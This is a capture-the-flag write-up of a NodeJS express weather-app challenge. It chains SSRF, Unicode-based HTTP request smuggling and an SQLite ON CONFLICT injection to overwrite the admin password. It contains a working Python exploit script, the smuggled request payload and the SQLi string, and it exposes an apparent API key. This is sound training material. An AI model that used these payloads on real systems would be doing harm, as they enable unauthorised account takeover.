Challenge details
-
Keywords:
SSRF
,SQLi
,NodeJS (express)
,Encoding faults
-
Summary: Using a Unicode encoding fault in
NodeJS (express)
to exploit anSSRF
vulnerability leading toSQL Injection
that allows for setting the admin password to an arbitrary value.
Understanding the application
Though I started getting into hacking by solving WEB challenges, the chall still had me thinking and looking for a solution for quite some time. Probably because I set up my environment in a faulty way, but let’s see what it holds for us.
I first started by downloading the files and navigating the website.
Nothing interesting here.
We also get the app source code, so I started looking at the routes
the server defined.
As a brief summary of my approach: Many web development frameworks (if not all?) including NodeJS express let you define routes. Every route is mapped to an HTTP method like GET or POST and an endpoint such as “/register”.
In NodeJS, requests to certain endpoints are processed by “middlewares” linked to routes. Middlewares are basically functions that receive two objects important for us, the “req” and “resp” objects. One represents the incoming request, the other the outgoing response to said request. Understanding how a NodeJS app works can usually be done by looking at these routes and middlewares.
I was able to identify the following routes:
Endpoint | Supported request | Server side logic |
---|---|---|
/ | GET | Loads the index page |
/register | GET | Loads the registration page |
/register | POST | Creates a new user (only available from 127.0.0.1 ) |
/login | GET | Loads the login page |
/login | POST | Handles login and serves the flag if the user is the admin |
/api/weather | POST | Makes a request to the URL received from the client and loads weather info from there. |
Two of these endpoints are particularly interesting. One of them is the register
endpoint that allows for actual registration. Looking at the code, the middleware calls the db.register
function, the source code of which can be seen below:
The comment clearly states query parameterization is not yet available. This basically tells us It’s vulnerable to SQLi. The endpoint however only works if the request to it is made from 127.0.0.1
.
This is where the next interesting endpoint comes into play. The /api/weather
one. Upon receiving an endpoint
parameter through the POST request, the application uses the WeatherHelper
class to create a request based on the received parameter. This results in a SSRF
vulnerability because the URL to which the request is made is based on user input. The relevant code snippet can be seen below:
And thus, I found a way inside the application. We can use the SSRF
vulnerability to get the server to send a request to it’s own register
endpoint. This way, we can bypass the 127.0.0.1
filter on it and hopefully get to SQLi
Creating the exploit
This was one step, but then I faced another problem. The server side code can only make a GET
request to the designated URL.
I spent hours trying to conjure up a way to convert a GET
request into a POST
request. Sadly I can’t remember whether I came up with the solution myself or I just kept looking for stuff on the internet and stumbled upon something relevant by accident. Either way, the solution:
By executing an HTTP Request Smuggling
attack, I can inject a POST
request into the HTTP stream, and possibly overwrite the admin creds with an SQLi
payload.
I found this article and went down an epic rabbit hole. I first started out by coming up with payloads like the following, and pasting them into the Burp repeater.
/ HTTP/1.1
host: 127.0.0.1
connection: close
GET / HTTP/1.1
host: 192.168.0.71
connection: close
This simply finishes the first GET
started by the app and injects another GET
request directed towards my local test server. Problem is … it didn’t work :)
Pretty soon, I realized copying and pasting characters with a messed up encoding probably isn’t the way to play around with them.
I decided to modify the script from the previously mentioned article to send requests directly to the application using python requests. This is what I ended up with.
from collections import defaultdict
import random
import sys
import os
import requests
LATIN_START = "00020"
LATIN_END = "007E"
LATIN_MAP = {"0d": "\r", "0a": "\n"}
UNICODE_MAP = defaultdict(list)
SUPP_START_CODE = "00A0"
CYR_END_CODE = "04FF"
BLACKLIST_CHARS = ['0378', '0379']
def unicodifiy(to_translate):
for char in range(int(LATIN_START, 16), int(LATIN_END, 16)):
k = chr(char)
LATIN_MAP[hex(char).split('x')[-1]] = k
for char in range(int(SUPP_START_CODE, 16), int(CYR_END_CODE, 16)):
truncval = hex(ord(chr(char)))[-2:]
if truncval not in LATIN_MAP.keys():
continue
c = chr(char)
if char in [int(x, 16) for x in BLACKLIST_CHARS]:
continue
UNICODE_MAP[LATIN_MAP[truncval]].append(c)
chars = []
for ss in to_translate:
for k,v in UNICODE_MAP.items():
if ss == k:
chars.append(random.choice(v))
translated = "".join(chars)
return translated
request = """/ HTTP/1.1
host: localhost
GET /register HTTP/1.1
Host: localhost
"""
sess = requests.Session()
URL = "http://localhost:1337"
ENDPOINT = "/api/weather"
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/json",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"referrer": "http://localhost:1337/"}
DATA = b'''{
"endpoint":"127.0.0.1/''' + unicodifiy(request).encode() + b'''#",
"city":"Budapest",
"country":"HU"}'''
r = sess.post(url=URL+ENDPOINT,data=DATA,headers=HEADERS)
print(r.text)
It’s ugly but it worked! I modified the code of weather app to log to the console when it receives a request to the register
endpoint.
And successfully exploited the HTTP Smuggling vulnerability.
I then hit another roadblock. I spent another hour or so trying to come up with a way to successfully send POST parameters to the register
endpoint. I faced multiple difficulties.
-
If the request to the
/api/weather
endpoint doesn’t return valid results for theWeatherHelper
class to process, an error seems to thwart further code execution. -
The smuggled
POST
request only seemed to work if thehost
of the first request matched the second one, this made realizing the first point very difficult. -
If the payload contained a valid POST body, the function somehow lost the value of
req.socket.remoteAddress
. Which meant I faced the problem of not being able to send data to the function unless I messed up the source checking, which in turn killed execution.
A new round of “take a step back and do some research” started each time I hit one of these blockers.
The final payload looked like this:
request = """/ HTTP/1.1
host: localhost
POST /register HTTP/1.1
Host: localhost
POST /register HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
username=admin&password=admin')+ON+CONFLICT(username)+DO+UPDATE+SET+password+=+10+--
GET http://api.openweathermap.org/data/2.5/weather?q=Budapest,HU&units=metric&appid=10a62430af617a949055a46fa6dec32f̠ HTTP/1.1
host: api.openweathermap.org
Connection: Keep-Alive
"""
To sum it up:
-
The 4th request is required for the
WeatherHelper
class to be able to process the results. -
Hosts match up until the 4th request.
-
A second, empty
POST
request is required for the application to preserve the value ofreq.socket.remoteAddress
for some reason.
This latter seemed to be a problem that occurred for others as well.
Looking at it, I needed some funky steps for my exploit to work. When I was done, I checked other writeups and those seemed more straightforward somehow.
Finding the SQLi vector
The final payload above contains the SQLi payload I used to override the admin credentials. I first tried to execute stacked queries by placing a second SQL UPDATE
query after the INSERT
but didn’t succeed with it.
After some more googling I ended up stumbling upon the UPSERT
SQLi technique, along with the ON CONFLICT
directive.
To my understanding, different DBMS’s allow you to handle conflict cases when insertion conflicts occur. Such a case would be trying to create a user with an already existing username in the database.
This means in our case, we can use ON CONFLICT
(specific to SQLite) to handle errors originating from the violation of the restrictions put on the table (meaning we can’t have multiple admins) and overwrite the password of an existing user.
Based on this, the final payload was:
username=admin&password=admin')+ON+CONFLICT(username)+DO+UPDATE+SET+password+=+10+--
And lo and behold I was able to log in with the credentials admin:10
Final word and references
Though the challenge is labeled easy, I spent quite some time working around it. Hopefully you learned something new from it as well.
Happy hacking and remember, try harder
!
~ r4bbit